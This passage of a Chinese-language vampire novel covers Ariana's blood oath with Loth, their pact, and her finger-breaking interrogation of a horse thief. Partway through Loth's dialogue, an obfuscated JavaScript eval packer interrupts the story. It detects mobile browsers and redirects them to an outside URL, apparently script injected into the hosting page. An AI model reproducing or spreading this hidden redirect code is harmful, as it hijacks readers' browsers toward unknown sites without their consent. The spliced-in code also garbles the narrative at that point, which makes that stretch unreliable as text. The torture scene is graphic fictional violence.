我抬起头，第一次认真打量他。现在他的头露了出来，我发现洛思长着一张让人感觉很舒服的脸，带着一种粗犷的绅士气质。他的头发是黑色的，剪得很短，有一双栗色的眼睛，此刻正盯着我。现在的他看起来就像一只被打败的狗，一只装备着鱼叉、穿着铠甲的被打败的狗。 我没有说话。 他继续等着。 为什么会这样？以前也有人碰过我，但都没有勾起我的回忆，也没让我变得如此狼狈。 只是，除了我父亲，那些碰过我的男人，要么是我的“食物”，要么是祈求者，他们都在我的掌控之中。 对我来说，他们算不上真正的男人。但洛思是。他成熟、强壮，而且我们之间没有任何誓言或契约的约束。 我该怎么办？ 茫然无措之下，我望向那沉默的观察者（Silent Watcher）。它那平静的目光再次让我稍微恢复了一些自制。 “你是个逃犯，对吧？” 好吧，这下完了。他看穿我了。事情发展到这一步，我真不该答应和他合作，当时就应该和他拼了。 我站起身。 “是又怎样？” “别这么大火气嘛。我这么问是因为，嗯，因为我能帮你。” 我嗤笑一声。他当我是傻子吗？ “你为什么要这么做？我们才刚认识。” 我必须赶紧逃走。就算他摘下了头盔，我也没把握能打得过他。 洛思的表情变得坚定起来。他站起身，往后退了一步，有条不紊地脱下一只手套。我目不转睛地看着他拿出一把小刀，割破自己的手掌，鲜血涌了出来，闻起来还挺香。 “我，斯科拉格的洛思，在此发誓，我会保护阿里安娜的生命、自由和安全，直到明天午夜，否则我甘愿赴死。” 一股强大的魔法波动向我袭来。这股力量带着雪的气息、山脉的沉稳和钢铁般的坚毅，这些都是我不熟悉的感觉，但我却觉得无比亲切。这个血誓的力量太惊人了。 这个德弗古尔人握紧拳头，亲吻了一下，目光始终没有离开我。 什么？！刚刚发生了什么？ 我完全不知道该说什么。这完全出乎我的意料。斯科拉格的洛思，这位战士兼工匠，愿意舍命保护我。我对此深信不疑，就像我知道太阳会从东方升起一样确定无疑。 “但为什么？” “或许是因为我觉得自己像个傻瓜，忽略了所有明显的迹象。或许是因为我为自己刚才的鲁莽向你道歉。又或许……” 他停顿了很长时间，我静静地等着。这一刻感觉很重要，打断他似乎是一种亵渎。 “或许是因为我觉得孤独。” 我琢磨着他这句奇怪的告白，一时间有些恍惚。他的话对我来说有些难以理解，我无法将其与我对他的印象联系起来。 “我不明白。你看起来像人类，说话也像人类，你能喝酒、吃饭，还能在阳光下行走，那你为什么会孤独呢？” “你还太年轻，问出这样的问题…… 提尔（Tyr）啊，我早该想到的。我早该注意到的。没错，人类是很好的伙伴。我之前提到过我的第二任妻子阿格娜（Agna）吗？” 我点了点头。 “我一直陪在她身边，直到她头发变白。到最后，她走不动路，几乎看不见东西。但她从未抱怨过自己身体的衰弱，哪怕我会一直活下去。” 洛思深深地叹了口气，眼中的痛苦让人动容。 “她去世的时候，我的心都碎了。我对自己发誓，再也不会这样了。那时我们的孩子都已经长大成人，于是我收拾行囊离开了。我在山里待了一个世纪，磨练自己的技艺，但这并没有什么用。直到今天，我还能清晰地回忆起她年轻时的笑容、做母亲时的笑容、成熟时的笑容，还有我握住她的手，因为她再也看不见我的时候的样子。如果你活得够久，你也会明白这种感受。人类的生命如璀璨星辰，但消逝得也很快。我再也不想让自己被那样的痛苦灼烧了。” “可也许两周后我就死了。别忘了，我是个逃犯。” “也许你不会，尤其是如果你接受我的提议。关键是，也许一百年后，你还会在这里。但人类不会，而我对此无能为力。只要知道这一点，就足够了。” “更不用说，要是你谈论起你侄子罗洛（Rollo）对着爱德华一世（Edward the First）露屁股的事，别人肯定会好奇你得多大年纪了。” “哈哈，姑娘，你说得对！后来我们都叫他‘双下巴罗洛’！” “嗯，听了你说的这些，还有你的誓言，我想…… 我想听一听你的提议。” “我明天再告诉你。你现在都快睁不开眼了，我们得先给你找个地方休息。” “好…… 恐怕得麻烦你背我了。” “这倒不是问题…… 你不想换身衣服吗？你身上全是沼泽里的水。” “啊！那我们动作快点！” 17. 暗夜新盟 我的手腕和脚踝被巨大的钢铁与银质镣铐锁在椅子上，猩红色的符文闪烁着不祥的光芒。 “这看起来是不是很美味，阿里？” 一张长桌在我面前展开，我坐在主位上，通常这里应该是一家之主——父亲的座位。一切都不正常，桌上的菜肴也透着诡异。在半明半暗的光线中，它们闪烁着，宛如炽热的余烬。 “它……它看起来确实很诱人，萨拉阿姨！” “是吗？”她嘴角勾起一抹冷笑，“那么，我们可以开始了吗？” 她的眼睛不再是平常的灰色，而是深邃如星际间的黑暗，空洞得没有一丝生气。我的右手被镣铐拉向一把叉子，我无力反抗。当我的手触碰到它时，餐具瞬间闪过一道蓝光，我的皮肤上立刻鼓起了血泡。我强忍着疼痛，不让尖叫声脱口而出。 “怎么了，阿里？你是阿里，对吧？” “亲爱的，她肯定有问题。”罗杰叔叔说着，坐了下来，其他家庭成员也陆续入座。到处都是一双双黑色的眼睛。 一只强有力的手揪住我的头发，猛地把我的头往后拉。 “姐姐，你是不是忘了念感恩祷告词？难不成，只有为了活下去把自己卖给魔鬼的下贱□□才会忘？” “不！不，我只是在等大家都入座，这才是合乎礼仪的做法！” “合乎礼仪，嗯？既然你这么注重礼仪，亲爱的姐姐，那就由你先来念吧。” “但是阿喀琉斯，这应该是父亲做的事，不是吗？” 父亲走进房间，他每走一步，地面都跟着颤抖。他是如此强壮，强壮到只用一根手指就能捏碎我的手臂。他的衣领上别着一枚加百列骑士团的十字架，手中握着木钉和银质大锤。他走到桌子另一端，在我对面的座位上坐下。 “啧啧啧，女儿。我们盼着你回到我们中间已经很久了。就这一次，你可以代替我来主持仪式。这是莫大的荣耀，只有放荡的娼妇才会拒绝。你同意，对吧？” “哦……当然。” “很好。既然大家都到齐了，你可以开始了。” 他们都张着略显夸张的嘴巴，贪婪地盯着我。随着黑暗蔓延，他们眼眶周围的皮肤开始皲裂。 “祝……祝福我们，咳咳，哦，咳咳，主啊，咳咳咳，以及这些您的……” 我的喉咙火烧火燎的，每说一个字，嘴里就喷出一团团灰烬和烧焦的血滴。我必须继续下去，哦不，他们站起来了，不，求求你们…… 我在陌生的景象中醒来：映入眼帘的是帆布帐篷的顶篷。 我躺在一个顶部敞开的金属箱子里，却不记得自己是怎么到这儿的。 我坐起身，一块简单的棕色织物毯子从身上滑落。毯子下面，我还穿着陷入昏迷时那件沾满旅途污渍的裙子。 我打量着周围的环境。一盏灯散发着柔和的蓝光，照亮了这个宽敞的空间。角落里放着一个箱子和一张整理得整整齐齐的小床，另一边有一个装满水的铜制浴盆，旁边的椅子上放着肥皂和一块叠好的布。 “有人吗？” “我在外面，姑娘。” 我站起身，我所在的这个箱子看起来很像棺材，不过这个箱子里面有个锁，可以让里面的人把它关紧，还铺着一块象征意义的被子。考虑得很周到，这份用心让我从那场噩梦中缓过神来，心情也稍稍好了一些。 我走到入口处，探出头去。 我们身处一片林中空地，两支火把照亮了一片长满青草的土地，上面竖着鞣制兽皮的架子，大片黑色的鳞状兽皮正在晾晒。洛斯正轻松地拆解着第一个架子，一看就是经验丰富。 制革厂通常都有股厕所的恶臭，但让我惊讶的是，我只闻到了淡淡的化学品和草药味。 “晚上好，洛斯。” “晚上好，阿丽亚娜。我给你放好了洗澡水，你试试那件裙子合不合身。” “等等，你在一天之内就剥了鳄鱼皮、鞣制好，还做了条裙子和这个棺材？！” “我更愿意称它为石棺。”他笑着回答，“没错。你知道吗，你已经昏睡了十六个多小时，肯定累坏了。” “这样啊，嗯，好吧，我一会儿再跟你聊。” 一想到和一个男人只隔着一层布就要脱衣服，我心里就有点警惕。但当我走进浴盆的那一刻，所有的顾虑都烟消云散了。 “啊——” 在旅途奔波了一个多星期后，能泡在温暖干净的水里，这种感觉简直太棒了。我把头完全浸入水中，享受着失重的感觉，哪怕短暂缺氧也丝毫不会破坏这份惬意。 我坐起来，拿起一块肥皂，竟然有香味！是茉莉花香吗？我把肥皂涂满头发和全身。 “哦哦，太舒服了！” 这种感觉简直妙不可言。世界啊，小心点，干干净净的吸血鬼女王阿丽亚娜来啦！ 我听到洛斯轻声笑了，他听到我的话了！天哪！ 我起身用一条干净得让人陶醉的毛巾擦干身体，这时，吸血的欲望开始作祟。我找出最后一套相对干净的内衣，穿上了那条裙子。 这条裙子简直太棒了。款式简约，没有任何装饰，但穿起来舒适又灵活。深绿色和棕色的棉布面料能起到很好的自然伪装效果，我还发现袖子部分做了加固。而且，简直是奇迹，裙子上还有口袋！穿在我身上正合适！ 我急匆匆地走出去。 “洛斯，这太棒了！你怎么知道我的尺寸？” “我保证我没碰过你，阿丽亚娜。我只是，嗯，在了解女性身材方面有点经验。” “哦……” 要是还能脸红的话，我现在肯定脸红了。 “你稍等一下，我收拾下东西。” “哦，我来帮忙。” 他收拾兽皮的时候，我负责整理帐篷和里面的物品。 “谢谢。现在把这些都搬到我的车上吧。” 我拿起我的包和箱子，跟着他。空地对面有一个巨大的金属箱子，我注意到上面装着巨大的轮子，这才意识到这是一辆马车。如果要我把印度的所有珠宝从大陆的一端运到另一端，我肯定会把它们放在这辆马车里。 “哇。” 什么样的牲畜才能拉动这么个庞然大物？我好奇地绕着它打量。 “哇！” 洛斯咧嘴笑了起来，他那宽阔的胸膛随着笑声微微颤动。我看到了那头如乳齿象般的驮兽，它体型巨大，就像是有人成功地让野牛和蓝鲸杂交了一样！这头毛茸茸的四足动物比我见过的大多数马车都要大，它那牛头骨上伸出的一对角，足以刺穿一匹马。 “哈哈，这是阿斯尼。很震撼吧？” “这怎么做到的？！” “别在意它的体型，它可不是这儿最大的家伙。来，走近点看看。” 我有些犹豫。 “嗯，洛斯，动物一般不太喜欢我靠近。” “阿斯尼不一样。来，过来！” 我们走到这头动物身前，它的眼睛被一丛毛茸茸的鬃毛遮住了，只有下巴在动，正忙着咀嚼。 “摸摸它。” 我惊讶地发现阿斯尼对我的靠近没有任何反应。我缓缓伸出手，轻轻抚摸着它的口鼻。它的皮毛出奇地柔软，我发现自己很享受这种感觉。洛斯站在我面前，骄傲地挺起胸膛，一只手放在腰后，另一只手向我展示着阿斯尼，那模样就像一个商人在展示他最新的得意之作。 “你有没有遇到过，坐骑听到狼人嚎叫就逃窜，或者看到巨大的魔法鬣狗就惊慌失措的情况？血腥味会不会让你的坐骑变得不可靠？别担心，斯科拉格的洛斯有解决办法。这头威风凛凛的牲畜，是我几十年努力和精心选育的成果，就是为了培育出一只无比蠢笨的动物。” 我咯咯笑了起来。 “没错，女士们先生们！这头牲畜就是蠢得不知害怕。有了阿斯尼，你就能体验到，源自极致愚蠢的无畏勇气，它会带着平静的内心和空空的脑袋奔赴战场！” 我鼓掌叫好，洛斯优雅地鞠了一躬。 “趁还没……我们赶紧出发吧。” 先是一阵像口哨的声音，接着变成喇叭声，然后又是口哨声，再变回喇叭声，最后以一块湿布在风中飘动的声音结束。 这声音持续了将近十秒。 我惊恐地盯着洛斯。 “唉，这确实是个问题。趁还没闻到味儿，我们赶紧走。这也是我从不把它停在明火附近的原因。” 我很想要求坐到马车后面去。我确实很欣赏这头牲畜，但我可不想忍受它如此震天动地的放屁声。我知道我不用呼吸，但这关乎原则问题！ 我们默默地把所有东西都搬到马车后面，我注意到他的盔甲放在中间，取用方便。马车内部看起来易守难攻，显然是特意这样设计的，以便在马车遭遇拦截时，他能进行自卫。 收拾好后，我在他旁边坐下。他拿出一根粗大的棍子，拍了拍牲畜的屁股，然后把棍子放回一边，我们开始等待。 等啊等。 等啊等。 终于，这头牲畜慢悠悠地向前挪动，拉着这辆移动堡垒，就好像它轻如鸿毛。 “信号传到它脑袋里得花几秒时间。你要是想让它停下，得提前预判。” 我微笑着，让马车的晃动分散我对吸血欲望的注意力。我意识到我们的休战协议只持续到午夜，如果我想考虑和他一起生活，我们得好好谈谈。我决定先从基本的礼貌开始。 “我想谢谢你的照顾，你做的远超我的预期。我还注意到你甚至帮我清理了枪。” “不客气，姑娘。现在我们去拿你的报酬和血。顺便问一句，你能多久不吸血？超过一天吗？” “不能。” “我就猜到你年纪不大。你不是宫廷吸血鬼吧？你还是个初拥不久的新吸血鬼。” “你怎么这么了解我们？” “我之前提过，我在波士顿附近遇到过一个你们的同类。他叫康斯坦丁，算是个学者。我们聊了很多，在他的保护下，我完成了不少重要的工作。” “这样啊。回答你的问题，没错，我是个初拥不久的新吸血鬼。” “你实际多大了？不想回答也没关系。我只是知道年轻的吸血鬼需求更多，这样我就能知道怎么照顾你了。” 我犹豫了。我没必要跟他说这些，他知道得越少，如果交易谈崩了，我没能杀了他，事情也不至于变得太糟糕。 洛斯露出一个略带伤感的微笑。不知为何，看到他那浓密胡须下露出的痛苦神情，我心里有些不舒服。他那红通通的鼻子和漂亮的胡须，让他看起来就像一位深受喜爱的叔叔或祖父。他这张脸本应是充满爽朗的话语和开怀大笑的，而不是现在这样流露出赤裸裸的受伤表情。 “你知道，我能看到你那双天蓝色眼睛后面转着的小心思。我知道我们才刚认识，但我自始至终都信守承诺。就算我们以后分道扬镳，我也会发誓保守秘密。你不用担心我会泄露什么。” 我相信他。我在一群人渣中间生活了太久，都快忘了这世上还有些人，他们活着的目的不是把我的生活变得痛苦又短暂。 “我二十岁。” “哦，我还以为更小呢。那你差不多算是个宫廷吸血鬼了。” 他停顿了一下。 “你知道吸血鬼的年龄是从复活那天开始算的，对吧？” “呃，你这么一说，我想起来我朋友在我们第一天见面的时候提过。那我其实只有六个月大。” 说出口的时候，我感觉怪怪的，好像我之前的人生都不算数，就因为那时我还是人类，近二十年的生活经历就可以被随意抛弃。 洛斯沉思了一会儿，看起来有些生气。 “这不对，姑娘，这太不合理了。你没犯什么不可饶恕的大罪吧？” “除了作为吸血鬼存在之外？没有。不过，如果你非要知道的话，我手上沾过血。” “所有吸血鬼都沾过血。强迫一个刚成为吸血鬼不久的人四处逃亡，这太不应该了。刚满一岁的吸血鬼本应该找个安全的地方安顿下来。如果你不得不踏上逃亡之路……我都不敢想象你经历了什么。 我没什么别的问题了，跟你说吧，我想邀请你和我一起生活。我会保护你，作为回报，有些事我想请你帮忙，毕竟你是个永生的杀戮机器。我当然会给你报酬，而且这些工作会很刺激，你就放心吧。哦，还有，别咬我。有什么问题你尽管问。” “在这之前，我想把话说清楚。我不会为任何人做任何……那种事。” 洛斯突然显得十分尴尬，他的鼻子比平时更红了。 “呃，再次为我昨天的冒失道歉。我以为你年纪比较大，而且吸血鬼在这方面有点名声……请原谅我。我从来没有强迫过任何女人，以后也绝对不会！当然，呃，我也绝不会有那种想法。求你了！咱们别再提这件事了。你放心，我以后绝不会再有不当的举动。我真的很羞愧……” “没关系，洛斯。”我微笑着回答，“我相信你。我只是想说清楚。” “呃！当然，当然。” “我现在没什么问题了。说说吧，你具体有什么提议？” “好嘞，姑娘，事情很简单。我在希金斯维尔镇有一座带地下室的庄园，这个镇是以它的创始人菲利普·希金斯命名的。我还见过他呢，是个不错的小伙子，就是有点痴迷吊袜带和鲁本斯风格的… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054924|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “洛斯？” “对，我正要说呢。有座庄园。我会给你安排一个安全的房间，白天也会保护你。我是镇上的两名医生之一，他们都觉得我有点古怪，是个搞科学的绅士。有一次，小蒂姆·莱特森来找我……” “洛斯。” “不好意思，作为镇上的医生，我会让病人用献血代替支付诊疗费，你明白吧？我就说这是为了做实验。这样你就能直接从圣杯里喝到新鲜的血。你每晚大概需要喝几杯，偶尔可能还得去打猎，但应该没问题。作为回报，我需要你帮我做些事，比如猎杀危险的野兽、探索洞穴、消灭土匪团伙和狼人，哦，还有帮我搬重物。我只希望你别伤害镇上的人，把目标限制在罪犯和被社会遗弃的人身上就行。” 我盯着洛斯，他现在正专注地看着前方的路，给我时间思考。 这听起来好得让人难以置信。我可以在一个偏远小镇低调生活，那里不会有吸血鬼来找我麻烦，还有一位声誉良好的绅士自愿保护我、为我提供庇护。我能安全地度过最脆弱的几年，可以有所建树，还能学到新东西。我还能给希梅纳和父亲写信。 这是真正地生活，而不只是勉强求生。 “这提议太慷慨了。” “没错，确实是。” “有什么附加条件吗？” “没有，姑娘。你也该转运了。我很乐意帮你。真希望我当年需要帮助的时候，也有人能这么帮我。” “如果我不想杀人，我不会动手的。” “哈哈哈！姑娘，我怎么会强迫一个吸血鬼去杀人呢，对吧？” “我不会为了你违背自己的诺言。” “我也不会。” 我心动了，现在真的很想答应他。 “如果我想离开，你会放我走，并且发誓保守秘密。” “没错。” 我真的很想答应。 “我想试试。” “那就伸出你的手掌，我们击掌为誓。记住，你现在是有魔力的生物。你可以说谎，但一旦违背誓言，你自己也会受到惩罚。” 他用刀划破自己的手，我用爪子划破我的手，我们没有任何仪式，直接握住彼此的手。 一股强大的魔法波动席卷了我们两人。我感受到洛斯身上如山般坚毅和钢铁般刚强的特质，还有另一种带着荆棘和湿润泥土气息的魔力。 就这样说定了。 我靠回座位，随着手上的伤口愈合，那份誓言也在我心中落定。这一切既陌生又奇妙，是我一年前做梦都想不到会发生的事。或许，事情并没有那么糟糕。 半小时后，我们来到了之前遇到乔克托人的山谷边缘。阿斯尼力气很大，但速度很慢，不过我并不介意。 我们下了车，走向那座雕像，好像是个图腾。这时，一支奇怪的队伍朝我们走来。 纳肖巴在两个表情阴沉的女人搀扶下走着，他看起来比昨天干净整洁了许多。明科一脸怒容地走在他旁边，伊斯卡尼则带着那种夹在两个吵架朋友中间的尴尬神情，跟在他们后面。 他们在离我们十步远的地方停下，伊斯卡尼犹豫了一下，走上前来，向我们两人鞠躬问好，然后询问我们打猎的情况。 洛斯笑着扔给他一个袋子，对我来说，袋子里散发着死肉的味道。翻译打开袋子，脸色变得很难看。洛斯压低声音，只有我能听到他说： “是另一只眼球。” 我努力控制表情，不让自己笑出来。那人把战利品拿给他们的首领，首领的脸色也明显变得苍白。没错，明科，你那根小长矛可没给我们留下什么好印象。 伊斯卡尼拿起一个挎包递给洛斯，我的同伴检查了一下里面的东西，然后点了点头。确保他得到应有的报酬是对的，即便这报酬对他来说价值并不高。 轮到我了。我向我的“求告者”伸出手。纳肖巴试图挣脱那两个女人的搀扶，但左边那个女人把他拉了回去，还和他以及明科争吵起来。 我的手还伸在那里。 他们不敢的。他们不敢违背和我的约定。否则我就得让他们知道这么做的后果，而且我会让他们得到深刻的教训。 “嘶嘶嘶……” 我能感觉到怒火在心中升腾，内心深处的那头“野兽”也被唤醒。 整个山谷仿佛都凝固了，就连风也停了。 洛斯沉稳而温和的声音，如同雾气一般在我的脑海中弥漫开来：“你们不会是想跟一个‘苍白者’（吸血鬼）毁约吧？因为那可不是个明智的选择。” 在随后的寂静中，纳肖巴轻轻一挣，就从那个僵住的女人手中挣脱了出来。 很好，那我现在只杀她一个就好。 我的“求告者”将手放在我的手里，另一只手轻轻拂过我的手腕。 我看着他，只见他带着无辜的笑容，把手伸进口袋，掏出一对耳环。今天，他的眼神清澈而专注。 “礼物。” 这对耳环是用铜和刻着奇怪图案的透明石头制成的。不管我怎么努力去看，那些图案总是显得模糊不清。 纳肖巴握住我的手，让我握住这份礼物，然后慢慢靠近我。他抓住我的一个肩膀，向我露出了他的喉咙。 嗯……也许今晚没必要杀任何人。一切都恰到好处。 我在吸血的时候扶住他。 这有些出乎我的意料。当然，他的血很美味，但还有些别的东西。他的力量在我体内产生了共鸣，有一种熟悉的感觉，和我现在所处的这个庇护所似乎有着某种呼应。 在还没吸到极限之前，我就停了下来。我已经得到了应得的，不需要更多了。 我舔了舔伤口，让它愈合。这位萨满最后笑了笑，然后走向那两个女人，她们把他扶起来，匆匆离开了。他们都不敢和我对视。那两个男人看看我，又看看彼此，也跟着离开了。我都不知道人不跑的话还能走得这么快。 洛斯和我也离开了，回到了那辆钢铁马车上。 “你还真知道怎么给人留下深刻印象，干得不错。” “你认可我这么做？” “我觉得你没伤人就给了他们一个警告，这是最好的结果。而且我觉得你怎么对付毁约的人，那是你的事，和我无关。准备好出发了吗？” “是的，我准备好了，也很期待。” 洛斯轻轻戳了戳阿斯尼。 “很好，现在我想和你聊聊你的巢穴。就像我表哥奥克里常说的，所有好的巢穴都得隐蔽、易守难攻，还得让别人觉得不值得费力来攻打。” “他是个锁匠吗？” “不是，他是个小偷。” 马车缓缓驶入夜色之中。 18. 吸血鬼的正义裁决 我最亲爱的阿丽亚娜： 收到你的来信，我如释重负，千言万语都难以表达这种心情。安特萨和我本都准备好为你打掩护了，满心以为你会出什么岔子。你当时毫无踪迹地消失了，我们都往最糟糕的情况去想。现在我明白，我的担心是多余的，你果然如我所想，是个足智多谋的年轻吸血鬼。 言归正传，我必须给你提个醒。无论如何，你都绝对不能给你父亲写信。我觉得兰开斯特家族应该没怀疑你还活着，不过，加百列教团在那次惨败的袭击后，往路易斯安那派了大批增援力量。我们认为你家一直处于监视之下。你给我发个简短消息就行，我会确保它能安全送到你父亲手中。 至于在你假死在我手上后得到的那瓶强效血液，我真希望你能把它彻底忘掉。我恳请你，千万不要跟任何人提起这件事。请原谅我，我不能再多说了。 我很满意你的安排。现在的你，正需要一个安全的地方成长壮大，这是你早就该得到的。不过一定要小心，过度自信往往会让我们这类人走向灭亡，傲慢自大始终是我们最大的罪孽。 安特萨身体很好，已经完全康复了。她提到，即便你当时能轻易脱身获得自由，却还是冒着生命危险保护了她。我会永远感激你这个决定，能称你为朋友，我倍感骄傲。 记得常写信，跟我分享你的经历，用之前的加密方式就好。 你的朋友， 希梅纳·德·加的斯 我凝视着小木屋中央那张巨大的四柱床，心里想着，这小木屋已经扩建了不少。壁炉里的火熊熊燃烧，那火焰永远也烧不到我。一阵凉风从敞开的窗户吹进来，带来湿润泥土的气息。 有人在礼貌地敲门。 我起身下楼，来到屋子的主厅。打开门，向外望去，通往荆棘森林的那片小草地空无一人。 一条小路在我面前显现。我沿着它走去，路两旁密密麻麻的树木一眼望不到头。带刺的藤蔓相互缠绕，形成一道密不透风的墙，那模样与其说是自然生长，倒更像是精心雕琢而成。敲门声从身后传来。 这敲门声的节奏有些熟悉，可我一时又想不起来在哪里听过。而且这声音里没有丝毫恶意，如果非要打个比方，就好像是朋友轻轻拉着你的袖子叫你起床。 我想穿过这片荆棘丛。 树根和树干颤抖起来，接着随着一阵低沉的轰鸣声向两边分开。一条小径延伸进迷雾之中。 跨过那道“门槛”时，我踉跄了一下，但有什么东西帮我稳住了身形。我在白茫茫的雾气中走了一会儿，然后看到了一个小土堆。 雾气渐渐散去，我发现自己站在一个峡谷里。峡谷两边，陡峭的悬崖高耸入云，前方矗立着一座极为奇特的建筑。那看起来像是有人直接在岩石上开凿出来的一座庙宇，建筑风格厚重、庄严。造型逼真的石狮子守卫在宏伟入口的两侧。 我之前以为的小土堆，原来是一只体型巨大的乌龟，它几乎占满了整条小路，此刻正惬意地酣睡着。乔克托族的萨满就坐在它的背上。 “纳肖巴？” “荆棘与欲望的孩子。这地方很奇特，不是吗？你应该来看看。” “这是哪儿？” “不是哪儿的问题，是何时的问题。” 乌龟打了个哈欠，雾气再次将我笼罩。 “小姐，你一定要相信我！” “不信！” “我发誓，我不是你要找的那个人。” “不，你就是查尔斯·毕晓普，江湖骗子、诈骗犯，还是个偷马贼。” “你认错人了，小姐，我从来没听说过毕晓普这个人。” “可你骑着的这匹马，是今天早上从米切尔庄园被一个叫查尔斯·毕晓普的人偷走的，他就是个骗子、诈骗犯和偷马贼，而且跟你的模样完全相符。” “不是这样的，小姐，你肯定看错了！” “我在马腿上看到了他们家的烙印。” 这是我编的谎话，但这匹马确实是赃物。我就喜欢看毕晓普先生听到这话时，脸上那瞬间的惊慌，紧接着他又在脑海里编造新的谎言来圆场。 “啊，我就知道我的好心被人利用了！我不到三个小时前遇到一个男人，他看起来很落魄。他说想把这匹马卖给我，这样就能坐马车去亚特兰大看望生病的母亲。我真是太傻了，居然相信了他！我没告诉你是因为我知道这事儿麻烦。你一定要相信我，我才是这件龌龊事的受害者！” 太有意思了。他一边编造谎言，一边观察我的反应！这些人就是这样通过随机应变来操控别人的吗？这人可真是个“艺术家”。难怪他能骗走老玛吉·米切尔的养老金。 “真是个精彩的故事，毕晓普先生。现在我们来玩个小游戏。我问你问题，要是你说谎，我就折断你一根手指。” 我握住他被绑着的手，没费什么力气就掰出了他的食指。 “我们先从简单的开始。你叫什么名字？” “马库斯……” “咔嚓”一声。 “啊啊啊啊啊！你疯了吗！这太过分了，滥用私刑！ guards，guards，来人啊，救命！我被袭击了！你最好赶紧放了我，不然我就以重罪逮捕你！法律会保护我的。” 这人紧张地咽了口唾沫，眼睛在我脸上来回打量，试图寻找我情绪的蛛丝马迹。嗯，或许我不该老是笑。还好我还算机灵，把獠牙藏起来了。 “你。叫。什。么。名。字。” 他犹豫了一下。 “小姐，你一定要相信我，我说的是实话，我是一场可恶阴谋的受害者。我真的叫马库斯……” “咔嚓”。 “啊啊啊啊！该死！啊啊啊啊，好疼。小姐，求求你，发发慈悲吧。我看得出来，你是个聪明的女士。我确实是查尔斯·毕晓普。” 我都快以为他还会继续嘴硬呢！ “但我之前说的也是实话！我真的是被人陷害的！那些米切尔家的人都是一群没信仰的骗子。我根本没做他们说的那些事，他们就是在污蔑我，因为事实是，杰里米·米切尔……是我父亲！” “噗哈哈哈哈，这也太扯了。天呐！这种谎话有人会信吗？” “我向上帝发誓……” “咔嚓”。 “啊啊啊啊啊，天哪！该死！” “啧啧啧，别乱发誓惹我生气，尤其是拿这个名字。你知道这只是个测试，对吧？我就是想看看，要折断你几根手指，你才会明白我能看穿你的谎言。” “小姐，小姐，够了。求你了！” “我就问了你的名字，你就已经三根手指没了。希望你之后能老实点。” 我戴着手套的手轻轻拂过齐膝高的麦子。 真让人沮丧。 我本可以让一个男人亮明身份，在市政厅的私人房间里审讯毕晓普先生，可现在却不得不拖着他在荒郊野地走了半英里。这太不公平了。我还向洛斯要过男装，可他说我，原话是“屁股大得能让船在爱琴海上航行”，还说“不想让那些无辜的小伙子每次见你上街都怀疑自己的性取向”。我猜这意思就是不让我女扮男装。 所以我现在只能这样，在佐治亚州偏远地区的麦田里，想尽办法折腾这个骗子，而我本可以在舒适的房间里，以市民警卫队的名义审讯他。就因为我走路的时候下面没挂着那玩意儿，就得受这份罪。真是太丢人了。我都有点怀念吸血鬼社会里那种残酷却平等的待遇了。 “小姐？” 我该怎么继续呢？ “除了现金，你还偷了什么？” 他的眼睛迅速向右瞥了一下，看向小镇的方向。 “所以你确实还偷了别的东西。” “没有，小姐，求求你，你要相信我，我是个老实人！” “咔嚓”。 “啊啊啊啊啊啊啊啊啊！” “查尔斯，亲爱的，你这简直是自讨苦吃。你一分钟前才承认自己说谎。你就没意识到自己太过分了吗？” “啊啊啊啊啊” 我饶有兴致地看着毕晓普先生，他滔滔不绝地讲了整整一分钟，把自己说得凄惨无比，眼泪鼻涕像尼亚加拉大瀑布一样流个不停，那模样简直就是绝望和忏悔的化身。照他这说法，我就该放了他，等他给可怜的母亲买好药，从此过上他梦寐以求的老实日子。随着故事进入高潮，我努力让自己看起来越来越同情他。 “你可怜的家人……” “是啊，小姐……” “你妹妹是怎么失明的？” “我，呃……” “咔嚓”。 “啊啊啊啊啊啊啊啊啊啊啊啊啊啊！” “查尔斯，查尔斯，你这是要把我惹火了。别告诉我你从来没想过这个问题！别人肯定会问这种问题来拆穿你的谎言！你得能当场回答这些基本问题，不然你的谎言就会被戳破。你这表现太差劲了。唉，我该拿你怎么办才好？” 嗯。 “不管怎样，下一个问题。你偷的东西在马鞍里吗？” “是，是的，该死，都在那里！” “那养老金呢？” “……” “咔嚓”。 “啊啊啊啊啊，我什么都没说啊！” “你心里在想！你舔嘴唇的时候就在盘算！我受够了，你为了保命都不会说实话！我都折断你六根手指了！六根！你怎么这么蠢！别再浪费我的时间了。” “好，好，我告诉你。” 我一只手揪住他的头发，另一只手拿出希梅纳的匕首，把刀刃抵在他眼眶下方。他瞬间僵住了。 “我再问你一次。要是你嘴里说出的不是我问题的确切完整答案，我就把刀捅进去。我说到做到。不管你是抗议、求饶、呜咽还是说谎，你都会失去这只眼睛，然后我会继续对你的下一个部位下手。你不需要眼睛、耳朵和手指也能告诉我我想知道的事。我会按这个顺序把它们一一拿走，直到得到我想要的答案。我说得够清楚了吧？” 他点了点头。 “养老金藏在哪里了？” “我用粗麻袋装着，埋在客栈后面苹果树下了，就在厕所旁边那棵。” “很好。” 我把匕首插回刀鞘，在背包里翻找从客栈拿的东西。 “你大概是为了赏金来的吧？你可以把所有东西都拿走，放我走，养老金也归你。要是有人问起，就说你从没见过我。解开我的绳子，我就会像风一样消失。你再也不会见到我，养老金就是你的了。” 哦？ “查尔斯，查尔斯，查尔斯……要是我按你说的做，把养老金占为己有，那你说，我为什么要留你这个活口呢？” 毕晓普先生的脸瞬间变得煞白。哦，他现在满心恐惧，身上的生气却格外诱人！再等几分钟，我恐怕就忍不住要动手了。 “要是你帮我做件小事，我或许会考虑放了你。一件非常简单的事……” “好，好，什么都行！” 我把一根崭新的蜡烛塞到毕晓普被绑着的手里，他先是惊讶地叫了一声，接着就疼得大喊起来。我用火柴点燃蜡烛时，他脸上那副茫然不解的表情真是太有趣了。 “我刚想起来，今晚算是我的生日！虽然我不是真正意义上的出生。但不管怎样，我得庆祝一下。我只希望你能为我唱首歌。” “什……什么？” “唱！” “祝……祝你生日快乐……” 我跟着他一起唱，期间只拿出过一次匕首，催他唱完。他唱完后，我鼓掌，然后吹灭了蜡烛。现在，只有月光洒在我们身上。 